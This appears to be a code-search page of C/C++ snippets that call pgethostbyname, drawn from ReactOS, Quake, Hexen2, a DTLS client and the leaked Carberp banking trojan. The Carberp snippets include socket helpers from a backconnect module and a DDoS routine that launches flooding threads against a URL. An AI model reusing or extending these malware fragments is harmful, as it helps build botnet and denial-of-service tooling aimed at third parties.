コード例 #1
0
ファイル: imbicili.cpp プロジェクト: 0x00dec0de/Carberp
SOCKET MyConnect1( char *Host, int Port )
{
	LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );

	if ( lpHost == NULL )
	{
		return -1;
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );

	if( Socket == -1 )
	{
		return -1;
	}

	struct sockaddr_in SockAddr;

	SockAddr.sin_family		 = AF_INET;
	SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
	SockAddr.sin_port		 = HTONS( (unsigned short)Port );

	if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket(Socket);
		return -1;
	}

	return Socket;
}
コード例 #2
0
ファイル: BackConnect.cpp プロジェクト: 0x00dec0de/Carberp
SOCKET NetConnect( char *Host, int Port )
{
	int ip = (int)pinet_addr( (const char*)Host );

	if ( ip == (int)INADDR_NONE )
	{
		LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );

		if ( !rhost )
		{
			return -1;
		}

		ip = *(long*)( rhost )->h_addr_list[0];

		if ( !ip )
		{
			return -1;
		}
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

	if ( Socket == INVALID_SOCKET ) 
	{
		return -1;
	}

	LINGER l;

	l.l_linger = 3;
	l.l_onoff  = 1;

	psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );

	struct sockaddr_in SockAddr;

	m_memset( &SockAddr, 0, sizeof( SockAddr ) );

	SockAddr.sin_family			  = AF_INET;
	SockAddr.sin_port			  = HTONS( Port );
	SockAddr.sin_addr.S_un.S_addr = ip;

	if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket( Socket );
		return -1;
	}

	return Socket;
}
コード例 #3
0
ファイル: InternetOpen.c プロジェクト: mutoso-mirrors/reactos
static
BOOLEAN
IsWinsockInitialized(VOID)
{
    struct hostent *Hostent;

    if (!PROC(gethostbyname) || !PROC(WSAGetLastError))
        return FALSE;

    Hostent = pgethostbyname("localhost");
    if (!Hostent)
        ok_dec(pWSAGetLastError(), WSANOTINITIALISED);
    return Hostent != NULL;
}
コード例 #4
0
ファイル: net_wins.c プロジェクト: JacobSimmer/QuakeFlash
int WINS_GetAddrFromName(char *name, struct qsockaddr *addr)
{
	struct hostent *hostentry;

	if (name[0] >= '0' && name[0] <= '9')
		return PartialIPAddress (name, addr);
	
	hostentry = pgethostbyname (name);
	if (!hostentry)
		return -1;

	addr->sa_family = AF_INET;
	((struct sockaddr_in *)addr)->sin_port = htons((unsigned short)net_hostport);	
	((struct sockaddr_in *)addr)->sin_addr.s_addr = *(int *)hostentry->h_addr_list[0];

	return 0;
}
コード例 #5
0
SOCKET MyConnect( char *Host, int Port )
{
	LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );

	if ( lpHost == NULL )
	{
		return -1;
	}


	sockaddr_in SockAddr;

	SockAddr.sin_family		 = AF_INET;
	SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
	SockAddr.sin_port		 = (USHORT)phtons( (unsigned short)Port );

	ConnectionData connData;
	connData.SockAddr = SockAddr;
	for(int i=0; i<3; i++) {
		SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
		
		if( Socket == -1 )
			return -1;
		connData.Socket = Socket;

		HANDLE ConnectThreadHandle = (HANDLE)pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ConnectThread, &connData, NULL, 0);
		if((long)pWaitForSingleObject(ConnectThreadHandle, 10000) == WAIT_TIMEOUT)
		{
			if((int)pshutdown(Socket, 2) == SOCKET_ERROR)
			{
			}
			pTerminateThread(ConnectThreadHandle, 1);
		}
		DWORD exitCode = 0;
		BOOL res = (BOOL)pGetExitCodeThread(ConnectThreadHandle, &exitCode);

		//wsprintfA(&str[0], "EC:%d", exitCode);
		//OutputDebugStringA(&str[0]);

		if(res && exitCode == 0)
			return Socket;
	}


	return -1;
}
コード例 #6
0
ファイル: DDOSClasses.cpp プロジェクト: 0x00dec0de/Carberp
BOOL TDDOS::Execute(bool Wait)
{
	if (URL.IsEmpty() || MaxThreads == 0 || FThreadsCount)
		return FALSE;

	FTerminated = false;

	// Инициализируем запрос
	FRequest.CloseConnection = true;
	FRequest.SetURL(URL.t_str());
	if (FRequest.Host.IsEmpty())
		return FALSE;

	FRequest.UserAgent = "%s";
	FRequest.Referer = "%s";

	FSendData = FRequest.MakeRequestHeaders();

	// Инициализируем библиотеку сокетов
	if (!InitializeWSA()) return false;

	// Получаем  адрес по имени хоста
	FHostAddres = (LPHOSTENT)pgethostbyname(FRequest.Host.t_str());

	if ( FHostAddres == NULL )
		return false;

	// Запускаем потоки
	for (DWORD i = 0; i < MaxThreads; i++)
	{
		if (StartThread(DDOSThreadProc, this))
			pInterlockedIncrement(&FThreadsCount);
	}

	BOOL Result = FThreadsCount;

	if (Wait)
		while (1)  pSleep(100);


	return Result;
}
コード例 #7
0
int main(int argc, char **argv)
{
	int status = 0;
	struct sockaddr_in servaddr;
	int ret = 0;
	int server_port = 0;

	if (argc < 3)
	{
		fprintf (stderr, "Usage: %s <server_ip> <server_port>\n", argv[0]);
		assert (argc == 3);
	}

//	init_daemon(); // Enable this, to Daemonize the client
	server_port = atoi (argv[2]);

	if((status = creat_pidfile()) != 1)
	{
		syslog(LOG_ERR, "PID file could not be created...exiting");
		doexit(EXIT_FAILURE);
	}

	sig_setup();

	udpsock = socket(PF_INET, SOCK_DGRAM, 0);
	if (udpsock == -1)
	{
		syslog(LOG_ERR, "%s(): %s @ %d", __func__, strerror (errno), __LINE__);
		doexit(EXIT_FAILURE);
	}
#if 1
	memset((void *)&servaddr,'\0',sizeof(struct sockaddr_in));
	servaddr.sin_family = AF_INET;
	servaddr.sin_port = htons(server_port);
	if ((servaddr.sin_addr.s_addr = pgethostbyname(argv[1])) < 0)
	{
		close(udpsock);
		syslog(LOG_ERR, "%s(): %s @ %d", __func__, strerror (errno), __LINE__);
		doexit(EXIT_FAILURE);
	}

	status = connect(udpsock, (struct sockaddr *) &servaddr ,sizeof(struct sockaddr_in));
	if(status == -1)
	{
		syslog(LOG_ERR, "%s(): %s @ %d", __func__, strerror (errno), __LINE__);
		doexit(EXIT_FAILURE);
	}
	else
#endif
	{
		ctx = dtls_setup_sslclient();
REDO:
      fprintf (stderr, "%s: %s(): Am here @ %d\n", __FILE__, __func__, __LINE__);
		ret = dtls_connect ();
		if (-1 == ret)
			goto END;
		else if (1 == ret)
			goto REDO;
		status = handle_data(ssl);
		if (status == -1)
		{
			syslog(LOG_ERR, "Unable to send beat : send failed[%s]...exiting", strerror(errno));
			doexit(EXIT_FAILURE);
		}

		SSL_shutdown (ssl);
	}
END:
	if (NULL != ssl)
		SSL_free (ssl);
	
	if (udpsock > 0)
		close(udpsock);
	closelog();

	return 0;
}
コード例 #8
-1
ファイル: net_wins.c プロジェクト: carriercomm/flQuake
void WINS_GetLocalAddress()
{
    struct hostent	*local = NULL;
    char			buff[MAXHOSTNAMELEN];
    unsigned long	addr;

    if (myAddr != INADDR_ANY) {
        return;
    }

    if (pgethostname(buff, MAXHOSTNAMELEN) == SOCKET_ERROR) {
        return;
    }

    blocktime = Sys_FloatTime();
    WSASetBlockingHook(BlockingHook);
    local = pgethostbyname(buff);
    WSAUnhookBlockingHook();
    if (local == NULL) {
        return;
    }

    myAddr = *(int *)local->h_addr_list[0];

    addr = ntohl(myAddr);
    sprintf(my_tcpip_address, "%d.%d.%d.%d", (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, addr & 0xff);
}
コード例 #9
-1
ファイル: NET_WINS.C プロジェクト: bsmr-games/Hexen2
int WINS_Init (void)
{
	int		i;
	struct hostent *local = NULL;
	char	buff[MAXHOSTNAMELEN];
	struct qsockaddr addr;
	char	*p;
	int		r;
	WORD	wVersionRequested;

// initialize the Winsock function vectors (we do this instead of statically linking
// so we can run on Win 3.1, where there isn't necessarily Winsock)
    hInst = LoadLibrary("wsock32.dll");
	
	if (hInst == NULL)
	{
		Con_SafePrintf ("Failed to load winsock.dll\n");
		winsock_lib_initialized = false;
		return -1;
	}

	winsock_lib_initialized = true;

    pWSAStartup = (void *)GetProcAddress(hInst, "WSAStartup");
    pWSACleanup = (void *)GetProcAddress(hInst, "WSACleanup");
    pWSAGetLastError = (void *)GetProcAddress(hInst, "WSAGetLastError");
    psocket = (void *)GetProcAddress(hInst, "socket");
    pioctlsocket = (void *)GetProcAddress(hInst, "ioctlsocket");
    psetsockopt = (void *)GetProcAddress(hInst, "setsockopt");
    precvfrom = (void *)GetProcAddress(hInst, "recvfrom");
    psendto = (void *)GetProcAddress(hInst, "sendto");
    pclosesocket = (void *)GetProcAddress(hInst, "closesocket");
    pgethostname = (void *)GetProcAddress(hInst, "gethostname");
    pgethostbyname = (void *)GetProcAddress(hInst, "gethostbyname");
    pgethostbyaddr = (void *)GetProcAddress(hInst, "gethostbyaddr");
    pgetsockname = (void *)GetProcAddress(hInst, "getsockname");

    if (!pWSAStartup || !pWSACleanup || !pWSAGetLastError ||
		!psocket || !pioctlsocket || !psetsockopt ||
		!precvfrom || !psendto || !pclosesocket ||
		!pgethostname || !pgethostbyname || !pgethostbyaddr ||
		!pgetsockname)
	{
		Con_SafePrintf ("Couldn't GetProcAddress from winsock.dll\n");
		return -1;
	}

	if (COM_CheckParm ("-noudp"))
		return -1;

	if (winsock_initialized == 0)
	{
		wVersionRequested = MAKEWORD(1, 1); 

		r = pWSAStartup (MAKEWORD(1, 1), &winsockdata);

		if (r)
		{
			Con_SafePrintf ("Winsock initialization failed.\n");
			return -1;
		}
	}
	winsock_initialized++;

	// determine my name & address
	if (pgethostname(buff, MAXHOSTNAMELEN) == 0)
	{
		blocktime = Sys_FloatTime();
		WSASetBlockingHook(BlockingHook);
		local = pgethostbyname(buff);
		WSAUnhookBlockingHook();
		if (local == NULL)
		{
			Con_DPrintf ("Winsock TCP/IP Initialization timed out.\n");
			if (--winsock_initialized == 0)
				pWSACleanup ();
			return -1;
		}
	}

	if (local)
	{
		myAddr = *(int *)local->h_addr_list[0];

		// if the quake hostname isn't set, set it to the machine name
		if (strcmp(hostname.string, "UNNAMED") == 0)
		{
			// see if it's a text IP address (well, close enough)
			for (p = buff; *p; p++)
				if ((*p < '0' || *p > '9') && *p != '.')
					break;

			// if it is a real name, strip off the domain; we only want the host
			if (*p)
			{
				for (i = 0; i < 15; i++)
					if (buff[i] == '.')
						break;
				buff[i] = 0;
			}
			Cvar_Set ("hostname", buff);
		}
	}

	if ((net_controlsocket = WINS_OpenSocket (0)) == -1)
	{
		Con_Printf("WINS_Init: Unable to open control socket\n");
		if (--winsock_initialized == 0)
			pWSACleanup ();
		return -1;
	}

	((struct sockaddr_in *)&broadcastaddr)->sin_family = AF_INET;
	((struct sockaddr_in *)&broadcastaddr)->sin_addr.s_addr = INADDR_BROADCAST;
	((struct sockaddr_in *)&broadcastaddr)->sin_port = htons((unsigned short)net_hostport);

	WINS_GetSocketAddr (net_controlsocket, &addr);
	strcpy(my_tcpip_address,  WINS_AddrToString (&addr));
	p = strrchr (my_tcpip_address, ':');
	if (p)
		*p = 0;

	Con_Printf("Winsock TCP/IP Initialized\n");
	tcpipAvailable = true;

	return net_controlsocket;
}